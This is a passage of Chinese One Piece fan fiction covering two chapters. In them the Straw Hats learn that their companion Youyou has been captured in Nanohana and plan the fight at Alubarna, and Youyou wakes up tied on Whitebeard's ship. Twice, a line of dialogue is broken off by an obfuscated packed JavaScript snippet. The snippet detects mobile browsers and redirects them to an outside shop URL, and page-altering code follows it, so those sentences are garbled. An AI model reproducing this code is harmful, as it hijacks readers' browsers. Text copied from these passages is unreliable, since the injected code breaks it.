那罗哈拉街道一片狼藉,伤员在搭着的简易帐篷下勉强地包扎着伤口,零星几处还有烧焦的痕迹。 几乎是越走近,一群人的心跳得就越快。 最后一丝妄想最终被戳破。 废墟正中间的男人额头包扎着白色的绷带,脸上颓废至极,他看着微微嘴唇嗡动,艰难吐出:“对不起,有有被他们带走了。” 43.阿拉巴斯坦(十九) “她刚到那罗哈拉的时候,就把她身上的东西给我了。”寇沙从旁边的帐篷里拿出一个小小的包裹,里面有一个电话虫,是用来联系伊卡莱姆的,“她只和我说有办法拆穿那个人的真面目,但是我没想到她没给自己留退路。” 寇沙的镜片上有着明显的裂痕,很明显是在刚刚的战斗中被波及到的。 “我听见了,她对那个Mr.2说,用她自己来换其他国民的安全。”寇沙嗓子喑哑,“如果不是她,后面来的两个果实能力者,大概能让这个城市毁于一旦。” 娜美喃喃:“三个果实能力者……”难怪,难怪她只能想出这样的方法。 虽然能理解女孩的所作所为,但是娜美心中无法平复。 受伤、被抓走、甚至被带走之前失去了意识…… 只是听着,娜美就觉得一阵眩晕,简直要无法呼吸。 索隆面无表情地将手搭在刀柄上,几乎瞬间就把寇沙嘴中的人和微微之前透露出的信息对上了号。 身材高大、皮肤黝黑——Mr.1,斩斩果实拥有者。 他奋力按下拔刀的念头,继续面无表情地听着。 山治指尖的香烟早就被扔在了地上,皮鞋毫不留情地碾过,微弱的火光就这样埋在了沙子里。 他顺着寇沙指出来的地方,修长的步子头一回迈地格外艰难。 从这里被踢飞到石头上前,这该有多疼啊…… “虽然我可能不配说接下来的话,但是我还是要说,真的很感谢你们。”寇沙朝着几人弯下了腰,“她真的很了不起,到现在为止,这座城市没人死亡,受伤率也维持在能够接受的程度,而逃出去的人就如她所设想的一样,已经把这个消息带到全国各地了。” “叛乱军现在已经把矛头指向到底是谁在挑拨离间,只要是还在中间浑水摸鱼的人都被激动的国名当作敌人抓了起来。” “明天,阿尔巴那不会再爆发没有意义的战争了。” 还不等娜美说话,微微也站了出来,和久未谋面的寇沙站在了一起,深深地鞠躬。 “我才是,从一开始就任性地说要解救国家,但是这一路上全部都在依靠你们。” “有有还有路飞,现在、”微微哽了一下,摇了摇头,似乎是在把脑海中的不好的念头全部抛开,“都……” 天色不知不觉地变暗了,快要变成废墟的那罗哈拉被黑暗笼罩在内,即使到现在好消息并不算少,但对于娜美一行人而言,更多的,似乎是阴霾。 路飞虽然平日里不算靠谱,但他是这艘船上实打实的核心人物,他被带走本就会影响所有人的心绪,而同样被带走的有有无疑成了一个放大器,将这份不安严重放大。 乔巴眼里噙着泪,不安地靠在乌索普身边,想要说什么,却也是第一次遇见这样的场面;乌索普神色飘忽,不知道该如何缓和气氛。 “这是他们的选择。”索隆开口,“无论是路飞还是有有,他们既然选择了这么做,那我们就要尊重他们的做法。” “路飞相信着微微你能拯救这个国家,而那个笨蛋则相信着,我们一定可以救她。” “现在不论是道谢还是道歉都还早,等见到他们,你们再亲口向他们说就行了。” 索隆神色冷静,在一众心惊胆战的人中间显得格外可靠。 有了主心骨发言,众人才勉强算是找到了方向。 “有有会被他们带到哪里去?”娜美拉起微微,一行人找了个勉强能落脚的地方坐了下来,开始揣摩那个不省心的小姑娘到底会被带到哪里去。 “雨地或者阿尔巴那?”乌索普看着地图上的位置,如果是在阿尔巴那到还好说,毕竟他们明天就要去王宫接应伊卡莱姆和国王。 但雨地可是在几乎相反的方向。 “在阿尔巴那。”索隆丝毫没有犹豫,他指向了地图上王宫的位置。 “没错,我赞同绿藻头的话。”山治同样指向了阿尔巴那,他难得赞同索隆的话,“有有小姐不会做白用功,既然我们最终要去阿尔巴那的话,那么她一定会在阿尔巴那等我们。” “即使她现在被抓住了。”索隆嗤笑一声,似乎是在不满山治的称呼,但也未曾发作,他环顾了一圈依旧还有些担心的伙伴们,“不要忘了,她可是敢一个人去面对果实能力者的,从第一次见面就敢了。” “武力值从来不是衡量一个人强弱的标准。毕竟在我们因为和路飞分开而不安的时候,那个笨蛋就敢一个人在这个地方做一些无法无天的事情了。” “与其在这里想东想西,不如早点确定好我们要做的事情,不然,等路飞和她回来之后,一定会嘲笑我们离开了他们什么都做不到。” 确实,一想到会被路飞那个笨蛋嘲笑,娜美就冒出了熊熊的斗志,不过…… “有有的话,只会嘲笑你吧,她绝对不会嘲笑我们的。” “就是说啊,有有小姐只会心疼我们~~” 索隆:“……” 一番插科打诨缓解了气氛,山治也终于有了时间和心思准备晚饭;索隆不见了踪影,不知道在城市哪个角落去闲逛了,乔巴拉着乌索普去救治伤员;而娜美和微微则和寇沙一起,开始梳理接下来的行动。 可事情远没有结束。 广袤的沙漠某处,戴着草帽的少年形如枯槁,连血迹都被沙子掩埋,太阳的余晖似乎无法带来一丝光明和希望,只余下夜晚的冷漠和残酷。 忽的,少年的手指动了动,紧接着,被无数双手从沙中托举了出来。 “谢谢。”路飞朝着身边的白色身影道。 束缚住他的沙漠也提醒了他,口袋里被沙子挤压的触感是那么清晰,就这么摸啊摸,几包真空包装的肉干就颤颤巍巍地拿了出来。 “肉?”白衣女子挑眉。 “哈。”少年满脸是血的脸上艰难地扯出了一抹笑,“那家伙……什么时候……塞进来的……” 还不等女子询问,身后又出现了一个白色头巾的男人,他浑身是血,那是战斗留下的痕迹,但他却不曾将眼神分给女子一点,他亦步亦趋地走近了少年,随后,将人扛了起来。 两道布满血迹的身影就这样互相支撑着走远了。 “听从伊卡莱姆大人的命令,来将你带去王宫。”贝尔如此说道。 —— “你是说,刚接到了伊卡莱姆的电话?”索隆在晚饭开始前赶了回来,他看向攥着电话虫的微微和娜美,随便找了地方坐了下来。 “其实准确来说,是蒂拉歌坦打过来的。”微微解释道,“她说伊卡莱姆叮嘱她这个点打过来。” “应该也是有有安排好的。”娜美垂眸,简直不敢想那个女孩到底做了多少事情。 “国王确实是被掳走了,也正是因为这样,Mr.2才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16292468|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会到这里来假扮国王。但是伊卡莱姆提前就做好了准备,他现在大概埋伏在国王身边。” 索隆:“他要去解救国王吗?” 娜美摇头:“不,有有给出的指令是让伊卡莱姆接应我们。国王军的数量有限,为了防止卧底在里面搅混水,蒂拉歌坦已经准备让所有国王军失去战斗力了。” 山治开口:“所以王宫必定会处于一个失守的局面,我们需要在解决完数字特工的情况下,去解决城市里的其他隐患。为微微和寇沙提供足够安全的环境。” 乌索普道:“我们只要护送微微和寇沙进入王宫,王宫里就有能够将声音传遍整个国家的电话虫,电话虫已经被伊卡莱姆设置好了,叛乱军首领和依旧有威望的公主去澄清整件事情的始末才会有说服力。” “然后只要路飞打败克洛克达尔,这件事就可以落幕了。”乔巴深吸了一口气,阐述着自己听到的计划。 几乎是万无一失。 取代克洛克达尔并不是几句话就能解决的事情,毁掉一个信仰的最好方法就是再造一个信仰,单论微微一个人并不足以取代成功,寇沙一个人也不行,但是这两人加在一起却是可以的。 寇沙能说服叛乱军,微微能说服国王军。而这两人在一起,又能说服部分摇摆不定的人。 而没有了战争,护送任务也会变得更加轻松,起码不用担心流弹或是被绊住脚步。 至于面对数字特工,也有伊卡莱姆游走支援,索隆和山治大概是不需要的,但是乌索普、乔巴、娜美却能安心不少。 索隆忽然笑出了声,语气轻快潇洒:“这样看来,饭都喂到我们嘴里了,要是还做得不好的话,就等着被那家伙嘲笑死吧。” “都说了有有只会嘲笑你啊!” “……你明天别跟在我后面。” 娜美一秒变了语气:“我一定会在有有面前帮你美言几句的。” 索隆:“……随你。我才不管那个笨蛋怎么看我呢。” —— “所以,你的意思是,我们的计划被一个从来没见过的小女孩破坏了?”昏暗的房间内,男人嘴边的雪茄闪着星星点点的光,语气危险,“不仅假扮寇布拉的计划被拆穿,这个消息还被传播到了其他的地方?” 冯·克雷咽了咽口水,干笑着向后跳了几步,“0酱,但是好消息是,他们并不知道是您的计划啊。” “好消息?”克洛克达尔玩味地重复着冯·克雷的话,似笑非笑道,“你真的以为他们不知道是我做的了吗?” 就在冯·克雷汗毛乍起的时候,克洛克达尔先松了口,他摆了摆手,语气不屑:“不过也无所谓了,反正,我们已经抓到寇布拉了,接下来只要……”拿到历史正文就可以了。 克洛克达尔掸了掸雪茄,抬眼问道:“所以,那个小女孩呢?抓到了吗?破坏我计划的人,总是要付出点代价的。” 小女孩…… 罗宾垂眸,不祥的预感涌上心头。不知为何,从听到冯·克雷汇报时,她的脑海就莫名地出现了一个人的身影,某个初次见面,就笑得格外甜的身影。 冯·克雷松了口气,他双手合十,笑得格外殷勤:“当然抓到了,我这就让他们带上……” 话音未落,两个头顶小天鹅翅膀的人慌慌张张地跑了进来:“不……不好了!抓到的那个人不见了!连捆着她的绳子都消失了!” 44.阿拉巴斯坦(二十) 手臂是被久束后血液无法畅通的酥麻,可这好像却是唯一的不适。 女孩迷迷糊糊地睁开眼睛,率先钻入鼻腔的却是熟悉的香味,那是只有从小到大都生活在里面才能温养出的安心感。温和的灯光取代了令人讨厌的黑暗,适宜的温度让身上的袍子显得有些累赘。 “「回来了?」”女孩喃喃自语道。 不是乌龟车狭小封闭的小隔层,而是熟悉的不能再熟悉的房间内。 腹部的疼痛也消失得无影无踪,如果不是身上还绑着的麻绳,她大概率以为自己并没有经历这一切,反而是刚刚睡醒。 可是……“「我这是睡了多久啊?」”有有艰难地甩了甩脑袋,企图翻身,却一个不小心从床上蛄蛹了下去。 “砰!” “「嗷!我的头!」” 翻滚中的脑袋撞上了床头柜,有有下意识地想要用手去触摸伤口,却发现自己还依旧被绳子束缚着。 有有:“……” 不是,都把她给送回来了,为什么不把她绳子给解了,真是智……不对,她想起来自己不久前做出的决定,收回了对房间的攻击,脸上转而出现的是和善至极的微笑。 真是有“大智慧”的房间呢。 人总是贪婪和不易满足的,当满足了她超过了时限却没有送她回来的愿望后,她就开始想要房间能够在带回她的同时,还能解开她身上的束缚。女孩干脆在地上翻了个身,摇摇摆摆地在地毯上坐起了身。 有有环顾着四周,企图看见能够割开绳子的东西,但被绑在背后的手和几乎被五花大绑的腿让她比蒸锅上的螃蟹更适合“上锅煮熟”。 “「不是,我一个手无缚鸡之力的小女孩,需要被捆成这样吗?」”有有骂骂咧咧道,丝毫没觉得自己做了什么值得被这样对待的事情。她甚至没有自己是被谁捆住的印象,脑子里的记忆只是到模模糊糊看见Mr.1达兹和Miss.双手指的身影,随后便没了意识。 “「哎,冯酱啊冯酱,你最好是没有让我被他们再打一顿啦,不然我肯定要找索隆和山治告状的。」”有有撇撇嘴,昏迷之前剧烈的疼痛还历历在目,她忍不住打了个哆嗦,随即又有些反悔,“「嗐,算了吧,打架可太疼了,反正我这会儿也被治好了。」” 大方善良的她就当做无事发生吧。 “「不过话又说回来了。」”有有将视线看向了床脚的位置,“「绳子能用这玩意磨开吗?」” 过于危险的小刀和剪刀不到一秒就被她pass了,双手还“健在”的时候,她都不一定能够好好用这些东西,更别说这会儿手还被捆在背后,眼睛也没办法长到脑袋后面。 但是卖床的商家还是过于良心了,床脚被打磨得圆润光滑,看着一点也不像能磨开绳子的样子。 “「啊啊啊啊!杀了我吧!」”女孩仗着房间里只有自己一个人,完全不顾形象地在地毯上打滚鬼叫着,像个毛毛虫一样在地上窜来窜去。 “「话说我现在是在哪儿啊?」”窜累了的有有停止了格外诡异的行动,靠在床边终于开始思考了。 “「在梅利号上还是回去了啊?」” 可单从房间内来看,完全比较不出来自己到底在哪儿。在梅利号上的话,那么只要等路飞他们战斗结束就可以了,但是他们还需要养伤,现在也完全不知道过了多久,又需要等多久。 而且……有有愁眉苦脸,如果,如果他们在战斗结束之后并没有看见自己,那得有多吓人啊,都没给他们留下一点消息…… 不过相较而言,在梅利号上反而是好消息,起码他们人总会回来的。 即使没有镜子,有有也知道自己脸上肯定顶了个苦瓜。 如果回到了现实,那可真的就没人能帮她解开绳子了。打电话给伍琪?先别提怎么解释自己在家是要玩什么才能把自己给五花大绑起来,但打电话就是个伪命题啊! 手机被揣在袍子的内口袋里,也不知道现在还有没有电,就算有电她也拿不出来,再加上她习惯于把手机的智能语音给关掉,也没办法凭着一张嘴让智能语音把电话打出去…… 用电脑? 有有看了一眼桌面上的电脑,它安静地合着躺在那里,如果要用电脑的话,得先用脑袋给电脑顶开,再…… “「不行不行不行。」”女孩被自己设想中步骤吓了一大跳,虽然她不是偶像,但是包袱还是可以有一点的,“「都还不确定自己是不是在家呢对不对,这种事情等会儿再说吧。」” 女孩自言自语地说服了自己,决定先给自己找点别的事情做。 如何去判断自己在哪儿呢?当然有个最简单的方法啦! 有有蹭着床边,艰难地让自己起了身,刚想迈开步子朝门口走去,但是裹到脚的绳子让她完全无法动作。 “「啧。」”女孩咂舌,无奈地双脚并在一起,小步小步地往门口跳去。 索性门把手是向下压的款式,有有喘了会气,心中挣扎,还是用自己的脑袋压下了门把手。 “「没关系没关系,反正没人看得见……」” 声音随着门缝中透出来的光而越来越小,腥咸的海风顺着缝隙飘了进来,时不时还夹杂着“叮叮当当”的碰撞声。 刚刚经历过一场战争的女孩很清楚,这是兵器不小心碰在一起的声音。 不止有人看见了,还有一大波人看见了。 房门围着一圈又一圈的人,大都手里拿着武器,谨慎地指着自己的方向。 ……骗人的吧?这算什么?横竖都是死? 有有咽了咽口水,脑子几乎宕机了。她想要伸手去够门,却忘了自己还被捆着,身形一个踉跄,她倒吸一口凉气,好险不险才勉强靠着房门站稳。 门外围着的一圈人也倒吸一口凉气,还不等有有思考明白这群人在惊讶哪件事,就看见这群人不约而同地让开了一条通道。 “真的假的?会有人笨到把自己捆住吗?” 通道里走出了一个菠萝! 啊呸! 走出了一个马尔科! —— “快说!有有小姐被你们带到哪里去了?”山治伤痕累累,但他记得寇沙说的,有有小姐就是被这个人妖带走的,而且这个人妖甚至还能变出有有小姐的样子来迷惑他,他肯定知道有有小姐的下落。 “你问我?”冯·克雷不可置信、莫名其妙,“我怎么知道呦!她不是早就被你们救走了吗呦!” 还好意思问他?这群人真会贼喊捉贼啊!要不是他今天还能派上用场,昨天晚上他就会被0酱吸成肉干了。 冯·克雷打了个寒战,连绿色的眼影都显得不那么招摇了。 可山治不管,金发厨子怒气值飙升,烟蒂被扔到了地上,眼中杀气满满:“还敢狡辩!赶紧把有有小姐交出来!!” “都说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16297825|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了我不知道哟!!!” —— “剑士?” 身形高大的黑皮男子轻蔑地看着眼前这个花里胡哨拿着三把剑的男人,“真可惜,你遇到了我。” “是吗?”索隆挑眉一笑,随手将手臂上的头巾扯下来绑到了头上,凶恶的上挑眼里却没有一丝笑意,“倒是少了我去找你的功夫。” “你们昨天抓走的那个笨蛋,藏到哪里去了?”索隆掂了掂手里的刀,“说出来,就留你一命。” “是吗?只可惜,她早就被我们的boss给埋到沙漠里去了。”达兹面不改色,“谁让她要来掺和和她无关的事情呢。” “叮————” 几乎眨眼间,三代鬼彻就迎面砍上了达兹的手臂,而化为刀剑的手臂与妖刀兵戎相接,发出了刺耳的嗡鸣。 “你们的boss死了,那个笨蛋都不会死。”索隆冷笑一声,“不过,你倒确实会死在沙漠里。” —— “你问昨天那个小姑娘?”Miss.双手指脚步妖娆,她手里拿着烟斗,漫不经心地回应着娜美的询问。 拿着可笑的蓝色棒子的女孩在她眼里不过只是一个待宰的羔羊,而她不吝于给这个可怜的女孩最后一点慈悲:“谁知道她在哪呢?也许逃跑了?不过更可能,死在了沙漠哪个地方吧。” “毕竟,她昨天的伤可不轻啊。大概会被疼死吧。”女人惋惜摇头,“倒是可惜了长得那么可爱。” “那你放心好了。”娜美摆弄着手里的天候棒,面色是难得一见的冷酷,“她不敢死的,她就算是在地狱了,也要给我回到我们的船上。” —— “嘶……”有有打了个寒战,她小心谨慎地往自己身后望了望,却没看见任何一个对她有敌意的眼神。 ……那她背后怎么这么凉?总感觉要被人追杀的样子…… “喂喂喂,我和你说话呢!”紫色上衣的男人单膝跪在地上,一手撑在膝盖上,满脸无奈地看着这个丝毫不知道自己处境、还敢发呆的小女孩,“能不能继续我们的谈话啊?你到底是怎么出现在我们的船上的啊?” 被捆成一团的有有委屈地撇了撇嘴,因为此时这副尊荣,她已经无师自通了士下坐,但血液不畅的酥麻感让人难受。即使是单方面的认识,但她都认识艾斯了诶!马尔科不应该也是自己人吗? 他居然还那么凶!她怎么知道自己为什么能出现在莫比迪克号上啊? 更惨的不应该是她吗? 明明老老实实和路飞他们在阿拉巴斯坦,现在却一个人跑到了新世界,她还这么弱…… 疲累、害怕、莫名的委屈和难过一齐涌了出来。 “呜……” 许久没有听见过的声音响起,马尔科陡然一惊。 不是吧……他都多少年没听过有人哭了,海贼可都是一群流血不流泪的家伙。 丝毫不知道马尔科心里在想什么,不过即使知道,有有也只会说“我又不是海贼”,然后继续哇哇大哭。 “啊……马尔科好逊。” “果然是长得太奇怪把小女孩吓哭了吧……” “太逊了……” 马尔科:“你们这群家伙……” 还不等马尔科把看热闹的人臭骂一顿,跪坐在地上的女孩仰着头嚎啕大哭了起来,只闻哭声不见多少眼泪的那种。 马尔科:“!!!!”